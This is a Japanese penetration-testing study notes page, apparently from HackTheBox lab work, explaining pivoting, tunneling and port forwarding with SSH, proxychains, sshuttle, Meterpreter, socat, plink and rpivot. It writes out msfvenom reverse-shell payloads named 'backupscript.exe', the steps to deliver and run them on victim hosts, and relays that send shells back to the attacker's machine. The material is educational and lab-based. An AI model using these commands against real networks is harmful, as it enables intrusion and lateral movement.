> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/pivoting-tunneling-port-forwarding.md). # Pivoting・Tunneling ・Port Forwarding ここについてもっと勉強・試してみたくなったら↓ * ペネトレーションテスト中に、認証情報やsshキー、ハッシュやアクセストークンを使用して、別のホストに横展開しようと思った時、攻撃ホストから直接接続できない可能性がある この時、すでに侵害済みのホスト(ピポットホスト)を利用して、次のターゲットに接続する手段を見つける必要がある ## Pivoting(ピボット) 意味 : 侵害済みのホストを経由して別のネットワークへ移動し、異なるセグメント上のターゲットを探索する行為 目的 : 分離されたネットワークにアクセスするためのセグメンテーション（物理的および仮想的の両方）を打ち負かすこと **新たに侵入したホストで最初に確認すべき重要なポイントは、3つ** 1. **権限レベルの確認**（どの程度の権限があるのか） 2. **ネットワーク接続の状況**（どのネットワークに接続されているか） 1. ホストが複数のネットワークアダプタを持っている場合、それを利用して別のネットワークセグメントへ移動できる可能性がある 3. **VPNやリモートアクセスソフトウェアの有無** Pivotの時に聞く言葉 * `Pivot Host` * 攻撃者が乗っ取ったホスト（マシン）であり、そこを経由して他のシステムに侵入するための踏み台として使用する * `Proxy` * ピボッティングの際に使用される「代理」サーバやプログラム。攻撃者は、侵害したホスト上にプロキシを設定し、そこを経由して内部ネットワークを探索・攻撃する。 * `Foothold` * 「足がかり」という意味。攻撃者がネットワーク内に侵入した際の最初の拠点となるコンピュータやサーバ * 攻撃者はこの「足がかり」を確保したうえで、ピボッティングなどを駆使してさらに深く侵入する。 * `Beach Head system` * 「橋頭堡（きょうとうほ）」という意味 * フットホールドと似た概念で、攻撃者が長期間にわたり維持しようとする侵害済みのシステムを指す。攻撃を継続するための「基地」のようなもの。 * `Jump Host` * 攻撃者が複数のネットワークに移動するための「中継地点」となるホスト。 * 通常、管理者がリモートアクセス用に設置する「ジャンプサーバ」とは別概念であり、攻撃者視点では、ジャンプホストを利用して横移動を行う ### ルーター * どんなコンピュータもルーターになり、ルーティングに参加することができる * Autio Routeを使うと、攻撃用マシンがピボットホストを経由してターゲットネットワークへのルートを確保することができる * ルーティングテーブルを持ち、宛先IPアドレスに基づいてトラフィックを転送する * `netstat -r`で確認できる ```sh snowyowl644@htb[/htb]$ netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 178.62.64.1 0.0.0.0 UG 0 0 0 eth0 10.10.10.0 10.10.14.1 255.255.254.0 UG 0 0 0 tun0 10.10.14.0 0.0.0.0 255.255.254.0 U 0 0 0 tun0 10.106.0.0 0.0.0.0 255.255.240.0 U 0 0 0 eth1 10.129.0.0 10.10.14.1 255.255.0.0 UG 0 0 0 tun0 178.62.64.0 0.0.0.0 255.255.192.0 U 0 0 0 eth0 ``` * ルーティングテーブルに載っていないネットワークへのトラフィックは **デフォルトルート（default route）** に送られる * デフォルトルートは「デフォルトゲートウェイ」や「最後の手段のゲートウェイ（gateway of last resort）」とも呼ばれる ピボットの可能性を探る際は、**ターゲットホストのルーティングテーブルを調査し、到達可能なネットワークを特定したり、必要なルートを追加したりすることが有効** ## Tunneling(トンネリング) * ピポットという概念の中に「Tunneling」が含まれる * トンネリングは、ネットワークトラフィックを別のプロトコルにカプセル化し、トラフィックをルーティングする * VPNや特殊なブラウザなどの一般的なアプリケーションは、ネットワークトラフィックをトンネリングする別の形式にすぎない * 例 : HTTPとHTTPSでC2Cトラフィックを隠す * ディフェンダーを回避することができる ## ポートフォワーディングとは * あるポートへの通信要求を別のポートにリダイレクトする技術 * 通常、**TCP** を使用してインタラクティブな通信を実現しますが、**SSH** や **SOCKS**（非アプリケーション層プロトコル）を用いて転送トラフィックをカプセル化することもできる * 利点 : **ファイアウォールの回避や、侵害したホストの既存サービスを利用したピボット（他のネットワークへの移動）** が可能になる ポートフォワーディングには2種類ある 1. ローカルポートフォワーディング 1. SSHがローカルホストでリッスンし、リモートホストのサービスをローカルのポートに転送する 2. ダイナミックポートフォワーディング 1. ピボットホストを介してリモートネットワークにパケットを送信し、SOCKSプロキシとして機能する 前提シナリオ : 攻撃対象のターゲットをポートスキャンした時に、sshのポートは空いているけど、3306(mysql)はファイアーウォールがかかっていて、アクセスできない ```shell snowyowl644@htb[/htb]$ nmap -sT -p22,3306 10.129.202.64 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST Nmap scan report for 10.129.202.64 Host is up (0.12s latency). PORT STATE SERVICE 22/tcp open ssh 3306/tcp closed mysql Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds ``` mysqlにアクセスしたい 考えられる方法 * **MySQLをローカルから利用したい場合、SSHを使用してポートフォワーディングを行うことで、ローカルホストでMySQLにアクセスできる** * これ以外できない ## SSHでのローカルポートフォワードの実行 ```sh snowyowl644@htb[/htb]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64 ``` * `-L 1234:localhost:3306`：ローカルの1234番ポートを、リモートの localhost:3306 へ転送 * `ubuntu@10.129.202.64`：UbuntuサーバーにSSH接続 これにより、ローカルの1234番ポートでMySQLサービスにアクセスできるようになる ### 複数のポートをフォワーディング * `-L`コマンドを追加する apache Webサーバーのポート80を攻撃ホストのローカルポート`8080`に転送している例 ```sh snowyowl644@htb[/htb]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64 ``` * MySQL（3306）をローカルの1234番ポートに転送 * Apache（80）をローカルの8080番ポートに転送 ### ポートフォワードができているのか確認する Netstat ```sh snowyowl644@htb[/htb]$ netstat -antp | grep 1234 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN 4034/ssh tcp6 0 0 ::1:1234 :::* LISTEN 4034/ssh ``` Nmap ```sh snowyowl644@htb[/htb]$ nmap -v -sV -p1234 localhost PORT STATE SERVICE VERSION 1234/tcp open mysql MySQL 8.0.28-0ubuntu0.20.04.3 ``` ## SSHでのダイナミックポートフォワーディングの実行 シナリオ * 前のシナリオでは、アクセスすべきポートが明確であった * 今回のシナリオでは、ネットワークの向こう側にどのようなサービスが存在するのかが分かっていない * ターゲットへのネットワークルートに攻撃ホストから直接接続できない 解決策 * ピボットホストのNICを`ifconfig`で確認する * **SOCKSプロキシを利用したSSHトンネリング** を行い、Ubuntuサーバーを経由してネットワークをピボットする。 * 攻撃ホストで **SOCKSリスナー** を起動し、SSHを通じて 172.16.5.0/23 への通信を転送する * これにより、攻撃ホストから内部ネットワークへのスキャンや接続が可能になる。 SOCKSとは * `SOCKet Secure`の略で、ファイアウォールの制限があるサーバーとの通信を支援するプロトコル * 最初のトラフィックはSOCKSクライアントによって生成される * クライアント側でサービスにアクセスしたいユーザーが制御するSOCKSサーバーに接続する * 接続が確立されると、ネットワークトラフィックは、接続されたクライアントに代わってSOCKSサーバーを介してルーティングできる * **SOCKS4とSOCKS5があり、SOCKS5は認証やUDPをサポート。** ### SSHによるダイナミックポートフォワーディングの有効化 ```sh snowyowl644@htb[/htb]$ ssh -D 9050 ubuntu@10.129.202.64 ``` * `-D` : SSHサーバーに動的ポートフォワーディングを有効にするように要求 * 設定を有効になると、ポート **9050** を経由して、あらゆるツールのパケットをルーティングできるようになる *上のSSHによる動的ポート転送の有効化のコマンド実行したら、以下のProxychainsを活用することで、色々なスクリプトで動的ポートを適用することができる* ### Proxychainsの活用 * 動的ポートフォワーディングを利用するには、proxychains というツールを使用することで、TOR、SOCKS、HTTP/HTTPSプロキシを経由したTCP接続を強制的に行うことができる * **複数のプロキシサーバーを連鎖的に利用する（多段プロキシ）** ことも可能 利点 * 攻撃ホストのIPアドレスを隠すことができる * ターゲット側（受信ホスト）からは、リクエストを送信したホストではなく、**ピボットホスト（Ubuntuサーバー）** のIPアドレスが見える 設定 * Proxychains に 9050 ポートを使用するように指示するには、設定ファイル `/etc/proxychains.conf` を編集する必要がある ```sh socks5 127.0.0.1 9050 ``` #### nmapでProxychainsを使う このプロキシチェーンを使用してすべてのNmapデータをパッケージ化し、リモートサーバーに転送する処理は、`SOCKS tunneling`と呼ばれる 注意点 * `full TCP connect scan`のみを実行できる * プロキシチェーンが部分パケットを理解できないから * Windowsは、ping(ICMPリクエスト)を返さないため、どのホストが生きているかがわからない可能性が高い * ネットワーク範囲全体でpingなしで[完全なTCP接続スキャンを行う](https://nmap.org/book/scan-methods-connect-scan.html)には、長い時間がかかる proxychains を使ってSOCKSプロキシ経由でネットワーク上の生存しているホストを検出する（Pingスキャン）を実行 ```sh proxychains nmap -v -sn 172.16.5.1-200 ``` proxychains を使ってSOCKSプロキシ経由で、特定のホスト (172.16.5.19) に対して、フルTCP接続（スキャン）を実行 ```shell-session proxychains nmap -v -Pn -sT 172.16.5.19 ``` #### metasploitでProxychainsを使う ```sh proxychains msfconsole ``` #### RDPでProxychainsを使う ```sh proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 ``` ### proxychainsの設定不要ツール : Sshuttle * Python で作られたツールであり、proxychains の設定を省略して SSH ピボットを実行できる 便利なツール * Sshuttle は、iptables の設定を自動化し、リモートホストに対するピボットルールを簡単に追加できる * SSH を利用したピボットに特化しており、TOR や HTTPS プロキシを経由したピボットはサポートしていない 例 : Ubuntu サーバーをピボットポイントとして設定し、Sshuttle を使って Nmap のネットワークトラフィックを全て経由させる Sshuttleのインストール ```sh snowyowl644@htb[/htb]$ sudo apt-get install sshuttle ``` Sshuttleを使用するには、ユーザー名とパスワードでリモートマシンに接続するオプション`-r`を指定する * ピボットホストを介してルーティングするネットワークまたはIPを含める * この場合、ネットワーク172.16.5.0/23です。 ```shell-session snowyowl644@htb[/htb]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v ``` Sshuttleを利用した場合は、自動的にUbuntuをピボットホストとして利用して、別ネットワークに接続できる ```shell-session nmap -v -sV -p3389 172.16.5.19 -A -Pn ``` ## リモートポートフォワーディング リモートポートフォワーディングの必要性 * ダイナミックポートフォワーディングで、Windows AにRDPとかで接続することはできる * しかし、WIndowsAとAttack Hostでリバースシェルを確立しようとしたとき、WindowsA側からAttcak Hostにアクセスできないので、リバースシェルが確立できない * Windows AとAttackHostが同じネットワークにいないため * リバースシェルの必要性 * RDPのクリップボードが無効になっているため、**ファイルのアップロード/ダウンロードができない**。 * Windowsホスト上で詳細なシステム調査（Enumeration）を行うために **Meterpreter セッション** を使用したい。 * Windowsの低レベルAPIを使ったエクスプロイト実行が必要になる。 ![](https://i.imgur.com/698UfEp.png) ### SSHでのリモートポートフォワーディングを使ったリバースシェルの確立 * まず、攻撃ホストとWindowsサーバーの両方に接続できるピボットホストを見つける必要がある * 上の図の場合は、Victim Server(Ubuntu) * Windowsホストで **Meterpreter シェルを取得する** ためには、msfvenom を使って **Meterpreter HTTPSペイロード** を作成する * リバースシェルの接続先（LHOST）として指定するのは **Victim Server(Ubuntu)サーバー** のIPアドレス * その後、Victim Server(Ubuntu)サーバーを中継し、**ポート8080を使用してリバースシェルのトラフィックをAttack Hostのポート8000に転送** する * Attack Host側では、Metasploitのリスナーをポート8000で実行し、リバースシェルの接続を待ち受ける 接続の流れ 1. Victim Server(Windows A)でMeterpreterペイロードを実行（LHOST=172.16.5.129, LPORT=8080） 2. Victim Server(Windows A) → Victim Server(Ubuntu)（172.16.5.129:8080）にリバースシェルの接続要求を送信 3. Victim Server(Ubuntu)がポート8080のトラフィックをAtaack Hostのポート8000に転送 4. Attack Host（Metasploitリスナー8000)でリバースシェルを受信 5. Attack HostとWindows Aの間にリバースシェル確立完了 #### コマンド msfvenom を使用した Windows ペイロードの作成 * ペイロードの**リバース接続先（LHOST）としてピボットホスト（Ubuntuサーバー）のIPアドレスを指定** し、**ポート8080** を使用 ```shell snowyowl644@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <ピボットホストの_IP> -f exe -o backupscript.exe LPORT=8080 ``` 2. Metasploitのリスナーを設定と開始 ```shell msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set lhost 0.0.0.0 msf6 exploit(multi/handler) > set lport 8000 msf6 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://0.0.0.0:8000 ``` 3. ペイロードをピボットホスト（Ubuntu）に転送 * すでに**攻撃ホストはピボットホスト（Ubuntu）にSSH接続できるため**、scp を使ってペイロードをピボットホストへ転送する ```sh snowyowl644@htb[/htb]$ cp backupscript.exe ubuntu@<ピボットホストの_IP>:~/ ``` 4. ピボットホストでPythonウェブサーバーを起動 　- 次に、ピボットホスト上で **簡易ウェブサーバー（ポート8123）** を起動し、Windowsターゲットから backupscript.exe をダウンロードできるようにする ```sh ubuntu@Webserver$ python3 -m http.server 8123 ``` 5. Windowsターゲットでペイロードをダウンロード * Windowsターゲットマシンから、**PowerShellの Invoke-WebRequest を使ってペイロードを取得**する ```sh PS C:\Windows\system32> Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe" ``` 6. リバースポートフォワーディングの設定（SSH -R） * ペイロードが Windowsターゲット 上に配置されたら、**ピボットホスト（Ubuntu）を経由して攻撃ホストへリバースシェルの通信を転送** する ```sh snowyowl644@htb[/htb]$ ssh -R <ピボットホストのIP>:8080:0.0.0.0:8000 ubuntu@ -vN ``` * `-R <ピボットホストのIP>:8080:0.0.0.0:8000` * Ubuntuサーバーのポート8080でリッスンし、攻撃ホスト（0.0.0.0:8000）へ転送 * `-vN` * -v は詳細なデバッグ出力を表示し、-N はシェルを開かずにフォワーディングのみ実行 7. リバースシェルの確立 * 全てがうまく行ったら、攻撃ホストで待ってれば、windowsのシェルが飛んでくる 成功したときの図 ![](https://i.imgur.com/eIy00wR.png) ## MeterPreterトンネルでのポートフォワーディング 前提シナリオ * Ubuntuサーバー（ピボットホスト）にMeterpreterシェルでアクセスできる状況 行いたいこと * ピボットホストを経由してネットワークスキャンを行いたい * でもSSHポートフォワーディングを使わずに、MeterPreterの機能を活用してピポットを作成したい ### 前提シナリオの用意 まずUbuntuサーバー用のMeterpreterリバースシェルを作成し、攻撃ホスト（ポート8080）へ接続するように設定する 1. Ubuntuピボットホスト用のペイロード作成 * msfvenom を使って **Ubuntuピボットホスト用のMeterpreterリバースTCPペイロード** を作成する ```shell snowyowl644@htb[/htb]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= -f elf -o backupjob LPORT=8080 ``` 2. Metasploitのリスナーを設定 * Metasploitの multi/handler を使用し、攻撃ホスト上でポート8080でリスニングする ```shell msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set lhost 0.0.0.0 msf6 exploit(multi/handler) > set lport 8080 msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:8080 ``` 3. ピボットホストにペイロードをコピーして実行 * 作成した backupjob ファイルを、SSHを使ってUbuntuピボットホストへ転送 し、実行する ```shell ubuntu@WebServer:~$ ls backupjob ubuntu@WebServer:~$ chmod +x backupjob ubuntu@WebServer:~$ ./backupjob ``` 4. Meterpreterセッションの確立 ペイロードを実行すると、Ubuntuサーバー（ピボットホスト）から攻撃ホストへリバースシェルが確立される ### MeterPreterトンネルでの実行 #### Ping Sweep * ピボットホストのUbuntuホストからネットワーク`172.16.5.0/23`へのICMPトラフィックを生成する`ping_sweep`モジュールでMeterpreterを使用できる ```shell-session meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 ``` ピボットホストで直接実行する時には、以下のコマンドらも使用できる * ピボットホストがLinuxの時 * `for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done` * ピボットリストがWindowsの時 * CMD * `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"` * PowerShell * `1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}` 注意点 * ホストのファイアウォールが **Ping（ICMP）をブロック** しているケースがあり、その場合、Pingでは成功した応答を得られない可能性がある * そのような場合、**Nmapを使用して 172.16.5.0/23 ネットワーク上でTCPスキャンを実行** することができる * また、ポートフォワーディングのために **SSHを使用する代わりに**、Metasploitの **ポストエクスプロイトモジュール socks\_proxy** を活用して、攻撃ホスト上に **ローカルプロキシを設定** することも可能 * **SOCKSプロキシは SOCKSバージョン4a で構成** し、ポート **9050** でリスナーを起動する * この設定により、**すべてのトラフィックをMeterpreterセッション経由でルーティング** することができる #### MSFのSOCKSプロキシの設定 ```shell msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050 msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0 msf6 auxiliary(server/socks_proxy) > set version 4a msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server msf6 auxiliary(server/socks_proxy) > options Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 9050 yes The port to listen on VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5) Auxiliary action: Name Description ---- ----------- Proxy Run a SOCKS proxy server ``` #### プロキシサーバが実行されていることを確認 ```shell-session msf6 auxiliary(server/socks_proxy) > jobs ``` * SOCKSサーバーを開始した後、プロキシチェーンを設定して、Nmapなどの他のツールで生成されたトラフィックを、侵害されたUbuntuホストのピボットを介してルーティングする * `/etc/proxychains.conf`にあるproxychains`proxychains.conf`ファイルの最後に以下の行を追加する ```shell socks4 127.0.0.1 9050 ``` **AutoRouteによるルートの作成** 最後に、socks\_proxyモジュールに、すべてのトラフィックをMeterpreterセッションを介してルーティングするように設定する必要がある Metasploitの`post/multi/manage/autoroute`モジュールを使用して、172.16.5.0サブネットのルートを追加し、すべてのプロキシチェーントラフィックをルーティングできる ```shell msf6 > use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) > set SESSION 1 msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0 msf6 post(multi/manage/autoroute) > run [!] SESSION may not be compatible with this module: [!] * incompatible session platform: linux [*] Running module against 10.129.202.64 [*] Searching for subnets to autoroute. [+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table. [*] Post module execution completed ``` Meterpreterセッションからautorouteを実行することで、autorouteでルートを追加することもできる ```shell meterpreter > run autoroute -s 172.16.5.0/23 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 172.16.5.0/255.255.254.0... [+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64 [*] Use the -p option to list all active routes ``` 必要なルートを追加した後、`-p`オプションを使用してアクティブなルートを一覧表示できる ```shell meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.129.0.0 255.255.0.0 Session 1 172.16.4.0 255.255.254.0 Session 1 172.16.5.0 255.255.254.0 Session 1 ``` ルートは172.16.5.0/23ネットワークに追加されました。プロキシチェーンを使用して、Meterpreterセッションを介してNmapトラフィックをルーティングできる **プロキシとルーティング機能のnmapによるテスト** ```shell snowyowl644@htb[/htb]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn ``` ### ポート転送 * ポートフォワーディングは、Meterpreterの`portfwd`モジュールを使用して実行することもできる * 攻撃ホストでリスナーを有効にし、Meterpreterセッションを介してこのポートで受信したすべてのパケットを172.16.5.0/23ネットワーク上の最終ターゲット(Windows Aなど)に転送するようにMeterpreterに要求できる #### ローカルTCPリレー 攻撃ホストのローカルポート3300でリスナーを起動し、ピボットホストを経由してWindowsターゲット（172.16.5.19）のRDPポート3389に転送 することができる ```shell-session meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 ``` ローカルホストを介してWindowsターゲットに接続 ```shell-session snowyowl644@htb[/htb]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123 ``` Netstatを使用して、最近設定したセッションに関する情報を表示できる 防御的な観点から、ホストが侵害された疑いがある場合は、Netstatを使用することでメリットがある ```shell-session snowyowl644@htb[/htb]$ netstat -antp ``` #### Meterpreter リバースポートフォワーディング ピボットリストを介したターゲット(WIndowsA)とのリバースシェルの確立 リバースポートフォワーディングの設定 ```sh meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18 ``` コマンドの意味 * `-R` → リバースポートフォワーディングを有効化 * `-l 8081` → 攻撃ホストのローカルポート8081 で受信 * `-p 1234` → Ubuntuピボットホストのポート1234 で受信するトラフィックを転送 * `-L 10.10.14.18` → 転送先（攻撃ホストのIP） Metasploitリスナーの設定 ```sh meterpreter > bg [*] Backgrounding session 1... msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LPORT 8081 msf6 exploit(multi/handler) > set LHOST 0.0.0.0 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:8081 ``` Windows向けリバースシェルペイロードの作成 ```sh msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234 ``` コマンドの意味 * `-p windows/x64/meterpreter/reverse_tcp` → Windows用のMeterpreterリバースシェル * `LHOST=172.16.5.129` → UbuntuピボットホストのIP * `LPORT=1234` → ピボットホストのポート1234で受信 * `-f exe` → 実行可能なEXEファイルとして出力 * `-o backupscript.exe` → ファイル名 backupscript.exe で保存 Windowsターゲットでペイロードを実行 作成した backupscript.exe をWindowsターゲットで実行すると、ピボットホスト（Ubuntu）経由で攻撃ホストへリバースシェル接続が転送される ## Socat * [Socat](https://linux.die.net/man/1/socat)は、SSHトンネリングを使用せずに2つの独立したネットワークチャネル間にパイプソケットを作成できる双方向リレーツール * あるホストの特定のポートでリスニングし、そのデータを別の IP アドレスとポートへ転送するリダイレクターの役割を果たす ### Socatを利用したリバースシェル 1. 攻撃ホスト上で Metasploit のリスナーを起動する * Metasploitの multi/handler を使用し、攻撃ホスト上でポート8080でリスニングする ```shell msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set lhost 0.0.0.0 msf6 exploit(multi/handler) > set lport 8080 msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:8080 ``` 2. ピボットホスト上のUbuntu サーバー上で Socat を起動する * Socat はローカルホスト(ピボットホスト)のポート 8080 でリスニングを開始し、すべてのトラフィックを攻撃ホスト（10.10.14.18）のポート 80 へ転送する ```shell-session ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80 ``` 3. ピボットホストを介したターゲット(WIndowsA)上で実行するペイロードを作成する ```sh msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080 ``` ### Socatを利用したバインドシェル バインドシェルは、リバースシェルとは逆で、ターゲット側でポートを開いて待っておいて、そこにAtack Hostが接続するシェルのこと * Windows 上で **バインドシェルのペイロードを作成して実行** し、同時に Ubuntu サーバー上で **Socat をリダイレクターとして動作させる** * Socat リダイレクターは、**Metasploit のバインドハンドラーからの接続を受け入れ、その通信を Windows ターゲットのバインドシェルへ転送** する役割を果たす ![](https://i.imgur.com/z3ktJi6.png) 1. ピボットホストを介したターゲット(Windows A)上で動作させるバインドシェルペイロードを作成する ```shell snowyowl644@htb[/htb]$ msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443 ``` 2. Socatでの通信 * ピボットホストのUbuntuでSocat を使用して **バインドシェルのリスナー** を起動し、**ポート 8080 で接続を待ち受け、Windows サーバーのポート 8443 へパケットを転送**する ```shell ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443 ``` 3. Windowsへの接続 * バインドハンドラーは、**Ubuntu サーバー上の Socat リスナー（ポート 8080）に接続するように設定** ```sh msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf6 exploit(multi/handler) > set RHOST 10.129.202.64 RHOST => 10.129.202.64 msf6 exploit(multi/handler) > set LPORT 8080 LPORT => 8080 msf6 exploit(multi/handler) > run [*] Started bind TCP handler against 10.129.202.64:8080 ``` ## Windows用SSH : plink.exe * [Plink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)はPuTTY Linkの略で、インストール時にPuTTYパッケージの一部として付属するWindowsコマンドラインSSHツール * SSHと同様に、PlinkはダイナミックポートフォワーディングやSOCKSプロキシの作成にも使用できる * 2018年の秋前は、WIndowsにはsshが含まれていなかったため、PuTTYがよく使われた ![](https://i.imgur.com/WozIYLm.png) Windows攻撃ホストで、コマンドで、plink.exeプロセスを起動し、Ubuntuサーバー上での動的ポートフォワードを開始する ```sh plink -ssh -D 9050 ubuntu@10.129.15.50 ``` また、[Proxifier](https://www.proxifier.com/)と呼ばれる別のWindowsベースのツールを使用して、作成したSSHセッションを介してSOCKSトンネルを起動できる * Proxifier * デスクトップクライアントアプリケーション用のトンネルネットワークを作成し、SOCKSまたはHTTPSプロキシを介して動作させ、プロキシチェーンを可能にするWindowsツール * ポート9050でPlinkによって開始されたSOCKSサーバーの構成を提供できるプロファイルを作成できる * `127.0.0.1`とポート9050のSOCKSサーバーを設定した後、`mstsc.exe`を直接起動して、RDP接続を許可するWindowsターゲットでRDPセッションを開始できる ## Rpivot * Rpivotは、Pythonで作られたリバース SOCKS プロキシツールで、SOCKS トンネリングを実現するために使用される * 企業ネットワーク内のマシンを外部サーバーへ接続し、クライアントのローカルポートをサーバー側で公開するというもの 通常は、Victim Server(WebServer)は、外部インターネットに接続されていないため、外部からはアクセスできない しかし、Rpivotを使うことで、Victim Server(Ubuntu)を介して、内部ネットワークにアクセスして、外部からVictim Server(Webserver)にアクセスできるようにする ![](https://i.imgur.com/rB8AV0E.png) ダイナミックポートフォワーディングと何が違う？ | **機能** | **Rpivot** | **ssh -D（ダイナミックポートフォワーディング）** | | ------------- | -------------------- | ----------------------------- | | **プロトコル** | SOCKS5（リバース接続） | SOCKS5（SSH 経由） | | **トンネリングの方向** | **リバース（内部 → 外部へ接続）** | **通常（外部 → 内部へ接続）** | | **SSH サーバー** | 不要（Python だけで動く） | 必要（SSH サーバーがいる） | | **ネットワーク環境** | 制限が厳しい環境でも使いやすい | SSH が通る環境なら使える | | **隠蔽性** | HTTP/HTTPS に擬態できる | SSH トラフィックとして検知される可能性 | | **柔軟性** | iptables 設定を自動化できる | 手動での設定が必要 | | **使い方** | Web サーバーをリバースプロキシで公開 | ローカルから内部ネットワークにアクセス | | どっちを使うべきか | | | | **状況** | **推奨ツール** | | ------------------------------------------ | --------- | | **内部ネットワークから外部に抜けたい（リバースピボット）** | Rpivot | | **内部ネットワーク内の複数ホストにアクセスしたい** | Rpivot | | **リモートホストに SSH サーバーがある & 普通に SOCKS5 が欲しい** | ssh -D | | **ファイアウォールやプロキシで SSH がブロックされている** | Rpivot | | セットアップ | | ```shell-session snowyowl644@htb[/htb]$ git clone https://github.com/klsecservices/rpivot.git ``` ```shell-session sudo apt-get install python2.7 curl https://pyenv.run | bash echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc echo 'eval "$(pyenv init -)"' >> ~/.bashrc source ~/.bashrc pyenv install 2.7 pyenv shell 2.7 ``` server.pyをAttack Hostで立ち上げる * ポート 9050 でプロキシ接続を待ち受け * ポート 9999 でターゲットからの接続をリッスン ```shell snowyowl644@htb[/htb]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 ``` SCP（セキュアコピー）を使って Rpivot をピボットホストへ転送 ```sh snowyowl644@htb[/htb]$ scp -r rpivot ubuntu@<ピボットホストのIPアドレス>:/home/ubuntu/ ``` * `scp -r` → Rpivot のディレクトリ全体を転送 * `ubuntu@<ピボットホストのIPアドレス>` → ピボットホストの Ubuntu マシンに転送 ピボットターゲット（侵害したマシン）で client.py を実行 ```sh ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip <ターゲットIP> --server-port 9999 ``` * `--server-ip 10.10.14.18` → 攻撃ホストの IP アドレス * `--server-port 9999` → サーバー側で待ち受けるポート * ピボットホスト（ターゲット）が攻撃ホストへリバース接続 し、SOCKS5 プロキシを利用可能にする 接続の確認 * サーバー側で新しい接続を検出 ```sh New connection from host 10.129.202.64, source port 35226 ``` 127.0.0.1:9050 のローカルサーバー経由でピボットを設定 1. ProxyChains の設定ファイル(`/etc/proxychains.conf`)に以下を追加 ```sh socks5 127.0.0.1 9050 ``` firefoxでアクセス ```sh proxychains firefox-esr 172.16.5.135:80 ``` HTTP-プロキシ & NTLM 認証を経由して Web サーバーへ接続 * 企業のネットワークでは、直接外部の攻撃ホストに接続できない場合がある。 * HTTP プロキシ（NTLM 認証付き）を経由して接続する 方法を利用できる。 ```sh python client.py --server-ip <ターゲットWebサーバーのIP> --server-port 8080 --ntlm-proxy-ip <プロキシサーバーのIP> --ntlm-proxy-port 8081 --domain --username <ユーザー名> --password <パスワード> ``` * `--server-ip <ターゲットWebサーバーのIP>` → 接続先の Web サーバー * `--server-port 8080` → Web サーバーがリスニングしているポート * `--ntlm-proxy-ip 